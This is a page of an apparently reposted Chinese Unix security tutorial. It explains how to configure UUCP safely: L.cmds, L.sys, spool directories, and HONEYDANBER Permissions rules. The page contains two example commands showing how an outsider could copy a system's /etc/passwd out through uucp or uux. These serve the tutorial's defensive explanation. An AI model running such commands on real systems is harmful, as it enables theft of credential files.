| 网站首页 | 硬件维修 | 应用学院 | 网络组建 | 网站制作 | 菜鸟黑客 | 编程之道 | 数码大全 | 娱乐休闲 | 软件下载 | 在线视频 | 请您留言 | 技术论坛 | 
专 题 栏 目
最 新 热 门
最 新 推 荐
相 关 文 章
  • 代理服务器软件冲突导致的网…

  • 利用测试网站检测出你的浏览…

  • 网易推出280M网络硬盘—网盘

  • 快乐用网 手把手教你带网络名…

  • 让图片在网络永存 广州视窗相…

  • 快快申请 streamload提供10G…

  • 代理服务器软件冲突导致的网…

  • 卸载网络实名步步跟进

  • 集成专业网络书签的Sail Bro…

  • Firefox推出1.5测试版 导航速…

  • Q
    您现在的位置: 我是IT人 >> 应用学院 >> 操作系统 >> Unix >> 教程正文
    网络安全           
    网络安全
    作者:网络 文章来源:转载 点击数: 更新时间:2005-8-15
    [ 字体:缩小 正常 放大 | 双击自动滚屏 ]
    请选择合适的字体颜色:

    外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要
    信息:
    uucp yoursys!/etc/passwd to-creep

    (2)L.cmds文件
    uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.
    该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须
    一行命令:
    rmail
    系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令
    (lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命
    令uucp,否则这些人只需在他们自己的系统上敲入:
    uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
    然后就可等待本系统发送出命令文件.

    (3)uucp登录
    UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统
    管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在
    /etc/passwd文件中应当有二行.
    UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此
    nuucp户头的UID和GID应当用其它值.

    (4)uucp使用的文件和目录
    /usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和
    uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE.
    这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执
    行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是
    L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括
    uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于
    uucp管理户头所有,且应当具有400或600存取许可.
    uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送
    到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文
    件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其
    它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统
    传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X.
    文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否
    的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行
    uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作.

    3.HONEYDANBER UUCP
    有两个主要的UUCP版本,第一个是与UNIX系统V一起颁布的,在本节将称为老
    UUCP,另一个版本称为HONEYDANBER UUCP,由AT&T颁布.
    HONEYDANBER UUCP较之老UUCP有若干改进:
    <1>支持更多的拨号和网络:
    . 智能自动拨号调制解调器以及标准AT&T技术的801自动拨号器.
    . 网络,如DATAKIT VCS,UNET/ETHERNET, 3COM/ETHERNET, SYTEK, TCP
    (BSD UNIX系统).
    . 连接到LAN的拨号器.
    . X.25永久性虚拟环网(用X.25协议)
    <2>重新组织了/usr/spool/uucp目录,在该目录下,对每个远程系统有一个
    目录.
    <3>加强了安全.
    . USERFILE和L.cmds文件组合成一个文件Permissions.
    . 可以在一级级系统上指定远程可执行命令.
    . 可分别控制文件传入和文件传出.
    . 缺省的安全设置很严格.

    (1)HONEYDANBER UUCP与老UUCP的差别
    HONEYDANBER UUCP中的/usr/lib/uucp/Systems文件是原来UUCP中的
    /usr/lib/uucp/L.sys.HONEYDANBER UUCP中/usr/spool/uucp/.log下的一个
    目录代替了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log
    中的目录uucico,uucp,uux,uuxqt含有相应命令的记录文件,各目录对应最近
    处于活跃状态的远程系统都有一个记录文件(记录文件在这些目录中通常保存
    一个星期).
    如果一个调用本系统的远程系统未列于Systems文件中,uucico将不允许
    该远程系统执行任何操作,而是启动shell程序/usr/lib/uucp/remote.unknown,
    由UUCP提供的该shell程序的缺省版本将在/usr/spool/uucp/.Admin/Foreign
    文件中记下远程系统的登录时间,日期及系统名.只要使remote.unknown不可
    执行,就能禁止这一操作,以达到与老UUCP兼容.
    C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目录中,目录名就
    是文件对应的远程系统名.
    在HONEYDANBER UUCP中USERFILE与L.cmds文件合并在一起,这个新文件
    /usr/lib/uucp/Permissions提供了更灵活的授予外系统存取许可的控制.文
    件中的规则表定义了可以发出请示的各种系统.规则与选项的格式如下.
    rule=list option=yes|no option=list...
    其中rule是登录名或机器名,list是用以分隔各项的规则表(表中各项随
    rule或option而变),option是下边将讨论的各选项之一,或为一个选项表,或
    只取yes/no决定允许/不允许一项操作.

    (2)登录名规则
    LOGNAME规则用于控制作为登录shell启动的uucico.
    LOGNAME=nuucp
    指定对所有登录到nuucp户头下的系统加缺省限制:
    . 远程系统只能发送文件到/usr/spool/uucppublic目录中.
    . 远程系统不能请求接收任何文件.
    . 当uucico调用远程系统时,才发送已排入队列要发送到该远程系统的文
    件.这是uucico准确地识别远程系统的唯一方法(任何系统都可调用本
    系统并冒充是xyz系统).
    . 由uuxqtux远程系统的名义可执行的命令是缺省规定的命令,这些缺省
    命令在编译时定义(通常只有rmail,rnews命令).
    . 可用冒号分隔开若干个其它系统的uucico的登录户头.
    LOGNAME=nuucp:xuucp:yuucp
    任何设有LOGNAME规则的系统,若要登录请求UUCP传送,都会被回绝(系统
    将给信息"get lost",并挂起).
    一个LOGNAME规则就足够启动HONEYDANBER UUCP系统.事实上,当该系统运
    行时,将在Permissions文件中放一个无选项的LOGNAME规则,该规则应用于在
    /etc/passwd文件入口项shell域中有/usr/lib/uucp/uucico的所有登录户头.
    可使用若干选择忽略缺省限制,这些选项可组合,允许或限制各种操作.例
    如可用WRITE选项指定一个或多个送入文件的目录,而不用被限制送入
    /usr/spool/uucppublic目录.
    LOGNAME=nuucp WRITE=/
    这一规则允许文件送入本系统的任何目录.2-4项的限制依然保持.注意:
    远程UUCP请求可重写任何有写许可的文件,可指定多个写入文件的目录.用冒
    号分隔开:
    LOGNAME=nnuucp WRITE=/usr:/floppy
    该规则允许远程系统将文件写到/usr和/floppy目录中.
    用REQUEST=yes选项可允许远程系统的用户从本系统拷贝文件.
    LOGNAME=nuucp REQUEST=yes
    能被拷贝的文件只能是存放在/usr/spool/uucppublic目录中的文件,1,
    3,4,项的限制仍然有效.若要允许远程系统可从其它目录拷贝文件,用READ选
    择:
    LOGNAME=nuucp REQUEST=yes READ=/usr
    该规则允许远程系统拷贝/usr目录中任何其他人可读的文件.也可像
    WRITE选项一样指定目录表.
    用SENDFILES=yes选项可允许uucico在远程系统调用本系统时发送出已排
    队的文件.
    LOGNAME=nuucp SENDFILES=yes
    1,2,4项的限制依然有效.
    用CALLBACK=yes选项迫使任何登录到指定户头的系统call back.
    注意:CALLBACK=yes不能与其它选项组合作用.如果其它选项与这条选项
    列在一起,其它选项将被忽略.
    NOREAD和NOWRITE选项可分别与READ和WRITE选项一起使用.指定NOREAD选
    项下的目录表,可建立对READ选项的例外处理(即指出READ目录中不能由远程
    系统请求的目录),例如:
    LOGNAME=nuucp,REQUEST=yes READ=/ NOREAD=/etc
    该规则允许远程系统请求系统中任何其他人可读的文件,但不包括/etc中
    的文件,NOWRITE,WRITE的联合用法与上类似.
    一般来说,不要将缺省限制改得太多.若本系统被另一系统调去存贮电话

    上一页  [1] [2] [3] [4] [5] [6] [7] [8] 下一页  

    教程录入:小秦    责任编辑:小秦 
  • 上一篇教程:

  • 下一篇教程: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
    | 设为首页 | 加入收藏 | 联系站长 | 关于我们 | 友情链接 | 版权申明 |